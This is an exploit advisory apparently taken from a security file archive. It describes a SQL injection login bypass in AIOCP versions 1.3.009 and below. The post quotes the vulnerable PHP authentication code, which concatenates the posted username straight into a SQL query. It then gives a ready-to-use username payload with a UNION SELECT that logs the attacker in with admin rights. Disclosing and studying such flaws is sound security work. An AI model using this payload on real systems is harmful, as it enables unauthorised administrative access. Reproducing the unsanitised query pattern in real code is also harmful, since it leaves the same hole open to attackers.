exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

aiocp-bypass.txt

aiocp-bypass.txt
Posted Jan 14, 2007
Authored by Coloss

AIOCP versions 1.3.009 and below suffer from a login bypass vulnerability due to another SQL injection flaw.

tags | exploit, sql injection, bypass
SHA-256 | 51e93476657f7c3a7b722ae50dd0f024589283fb41bfad6a5937484ba66fe8e4

aiocp-bypass.txt

Change Mirror Download
[i] Product Name: AIOCP - All In One Control Panel
[i] Vulnerable Versions: <= 1.3.009
[i] Bug found by: Coloss
[i] Contact: coloss7@gmail.com
[i] Date: 9.1.2007

[i] Spec: AIOCP doesn't check the username posted by the client before using this to check authentication, so SQL Injection is possible
Example shows how to bypass login
[i] Other infos: This works with magic_quotes_gpc = Off
[i] Workaround: Edit source code to properly check username
No official patch is yet available


[Analysis]

[Unique Step] File: AIOCP/shared/code/cp_authorization.php

90 if ((isset($_POST['logaction'])) AND ($_POST['logaction'] == "login")) {
91 $xuser_password = md5($_POST['xuser_password']); // one-way password encoding
92 // check if submitted login information are correct
93 $sql = "SELECT * FROM ".K_TABLE_USERS." WHERE user_name='".$_POST['xuser_name']."' AND user_password='".$xuser_password."'";
94 if($r = F_aiocpdb_query($sql, $db)) {
95 if($m = F_aiocpdb_fetch_array($r)) {
96 // sets some user's session data
97 $_SESSION['session_user_id'] = $m['user_id'];
98 $_SESSION['session_user_name'] = $m['user_name'];
99 $_SESSION['session_user_ip'] = $_SERVER['REMOTE_ADDR'];
100 $_SESSION['session_user_level'] = $m['user_level'];
101 $_SESSION['session_user_language'] = $m['user_language'];
102 $_SESSION['session_alt_menu'] = 0; //default alternative menu disabled
103 // read client cookie
104 if(isset($_COOKIE['LastVisit'])) {
105 $_SESSION['session_last_visit'] = $_COOKIE['LastVisit'];
106 }
107 else {
108 $_SESSION['session_last_visit'] = 0;
109 }
110 $logged=TRUE;
111 }
112 else {
113 F_print_error("WARNING", $l['m_login_wrong']);
114 }
115 }
116 else {
117 F_display_db_error();
118 }
119 }


Parameters username and password are posted by the user on any login form. Password is crypted with md5() so it
cannot be used to perform any attack. Otherwise username isn't checked before the SQL query is performed.

[POC]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: [sql]
Password: <any password>


[Exploit example]

In: http://www.example.org/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: <any password>

So you 'll get admin rights. (you 'll get rights of user with id = 2, usually admin)

Note: You have to substitute user_id = '<user_id>' with some existing user_id.. usually 2 is admin user id
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close